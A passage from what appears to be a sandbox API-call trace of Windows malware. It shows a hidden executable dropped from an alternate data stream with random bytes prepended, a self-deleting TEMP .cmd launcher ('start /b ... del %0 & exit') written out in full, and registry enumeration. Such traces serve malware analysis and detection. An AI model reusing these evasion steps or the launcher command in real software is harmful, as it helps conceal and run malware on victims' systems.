ftLastWriteTime.dwLowDateTime=0xd5e74200, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0262.052] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0262.052] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 0 [0262.052] GetFileSize (in: hFile=0x130, lpFileSizeHigh=0x18f94c | out: lpFileSizeHigh=0x18f94c*=0x0) returned 0x25000 [0262.052] SetFilePointer (in: hFile=0x130, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0262.052] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x25000) returned 0x439e98 [0262.056] ReadFile (in: hFile=0x130, lpBuffer=0x439e98, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x439e98*, lpNumberOfBytesRead=0x18f98c*=0x25000, lpOverlapped=0x0) returned 1 [0262.140] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x25000) returned 0x45eea0 [0262.142] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439e98) returned 1 [0262.142] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x25000) returned 0x439e98 [0262.142] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4395b8) returned 1 [0262.142] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x45eea0) returned 1 [0262.142] NtClose (Handle=0x130) returned 0x0 [0262.142] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0262.142] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4331e8) returned 1 [0262.143] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0262.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x1ef0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fcb0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0262.144] GetLastError () returned 0x2 [0262.144] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x130 [0262.144] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0262.144] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4395b8 [0262.144] CryptAcquireContextW (in: phProv=0x18f970, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f970*=0x595a28) returned 1 [0262.145] CryptGenRandom (in: hProv=0x595a28, dwLen=0xb, pbBuffer=0x4395b8 | out: pbBuffer=0x4395b8) returned 1 [0262.145] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.145] WriteFile (in: hFile=0x130, lpBuffer=0x4395b8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x4395b8*, lpNumberOfBytesWritten=0x18f98c*=0xb, lpOverlapped=0x0) returned 1 [0262.146] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4395b8) returned 1 [0262.146] WriteFile (in: hFile=0x130, lpBuffer=0x439ea3*, nNumberOfBytesToWrite=0x24ff5, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x439ea3*, lpNumberOfBytesWritten=0x18f98c*=0x24ff5, lpOverlapped=0x0) returned 1 [0262.149] NtClose (Handle=0x130) returned 0x0 [0262.150] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xdae32300, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0xdae32300, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xdae32300, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0262.151] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x130 [0262.151] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0262.151] WriteFile (in: hFile=0x130, lpBuffer=0x439e9b*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x439e9b*, lpNumberOfBytesWritten=0x18f98c*=0x1, lpOverlapped=0x0) returned 1 [0262.151] WriteFile (in: hFile=0x130, lpBuffer=0x439e99*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x439e99*, lpNumberOfBytesWritten=0x18f98c*=0xa, lpOverlapped=0x0) returned 1 [0262.151] NtClose (Handle=0x130) returned 0x0 [0262.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xdae32300, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0xdae32300, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0xdae32300, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0262.152] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\rsvryb~1\\o0u5ot~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x130 [0262.153] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0262.153] WriteFile (in: hFile=0x130, lpBuffer=0x439e98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x439e98*, lpNumberOfBytesWritten=0x18f98c*=0x1, lpOverlapped=0x0) returned 1 [0262.153] NtClose (Handle=0x130) returned 0x0 [0262.153] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0262.154] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439e98) returned 1 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe9d8 [0262.154] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x100) returned 0x4331e8 [0262.154] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0262.154] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe9d8) returned 1 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x100) returned 0x4332f0 [0262.154] GetSystemDirectoryW (in: lpBuffer=0x4332f0, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0262.154] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4332f0) returned 1 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe9d8 [0262.154] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0262.155] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0262.155] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0262.155] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efea60 [0262.155] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efea60) returned 1 [0262.155] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x100) returned 0x4332f0 [0262.155] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0262.155] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0262.155] CryptAcquireContextW (in: phProv=0x18fb70, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb70*=0x595a28) returned 1 [0262.156] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb84 | out: pbBuffer=0x18fb84) returned 1 [0262.156] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.156] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efea60 [0262.156] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.156] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.157] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.157] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.157] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.157] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.157] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.158] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.158] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.158] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.159] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.159] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.159] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.160] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.160] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.160] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.161] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.161] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.161] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.162] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.162] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.162] CryptAcquireContextW (in: phProv=0x18fb6c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb6c*=0x595a28) returned 1 [0262.163] CryptGenRandom (in: hProv=0x595a28, dwLen=0x4, pbBuffer=0x18fb80 | out: pbBuffer=0x18fb80) returned 1 [0262.163] CryptReleaseContext (hProv=0x595a28, dwFlags=0x0) returned 1 [0262.163] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.163] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x400) returned 0x4333f8 [0262.163] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x400) returned 0x433800 [0262.163] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x4333f8, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0262.163] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x433800, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0262.163] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x433800) returned 1 [0262.163] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4333f8) returned 1 [0262.163] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.163] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.163] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.163] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efea60) returned 1 [0262.163] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efea60 [0262.163] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\rKi8zA5.cmd" (normalized: "c:\\windows\\temp\\rki8za5.cmd"), fInfoLevelId=0x0, lpFileInformation=0x18fb38 | out: lpFileInformation=0x18fb38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x1ef0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x1efe8c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xffffff00, nFileSizeLow=0x18fc44)) returned 0 [0262.173] GetLastError () returned 0x2 [0262.173] CreateFileW (lpFileName="C:\\Windows\\TEMP\\rKi8zA5.cmd" (normalized: "c:\\windows\\temp\\rki8za5.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0262.174] SetFileTime (hFile=0x130, lpCreationTime=0x0, lpLastAccessTime=0x18fb7c, lpLastWriteTime=0x18fb7c) returned 1 [0262.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1\r\ndel %0 & exit", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0262.174] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1\r\ndel %0 & exit", cchWideChar=122, lpMultiByteStr=0x1efeae8, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\RSVRYB~1\\O0U5OT~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1\r\ndel %0 & exit", lpUsedDefaultChar=0x0) returned 122 [0262.174] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeb70 [0262.174] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.174] WriteFile (in: hFile=0x130, lpBuffer=0x1efeb70*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x18fba8, lpOverlapped=0x0 | out: lpBuffer=0x1efeb70*, lpNumberOfBytesWritten=0x18fba8*=0x7a, lpOverlapped=0x0) returned 1 [0262.175] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeb70) returned 1 [0262.175] NtClose (Handle=0x130) returned 0x0 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efea60) returned 1 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efea60 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4395b8 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeb70 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x280) returned 0x4333f8 [0262.176] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0262.176] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x4333f8, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x439570, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.176] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x4333f8, cchName=0x104 | out: lpName="Console") returned 0x0 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x4394e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0262.176] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.176] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.177] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x4333f8, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x439570, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.177] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x4333f8, cchName=0x104 | out: lpName="Environment") returned 0x0 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x4394e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.177] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x4333f8, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x439570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.177] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.177] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x4333f8, cchName=0x104 | out: lpName="Identities") returned 0x0 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0262.177] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x4394e0 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x4394e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x4394e0) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x439570) returned 1 [0262.178] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efeae8) returned 1 [0262.178] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x4333f8, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efeae8 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0262.178] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x439570 [0262.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard 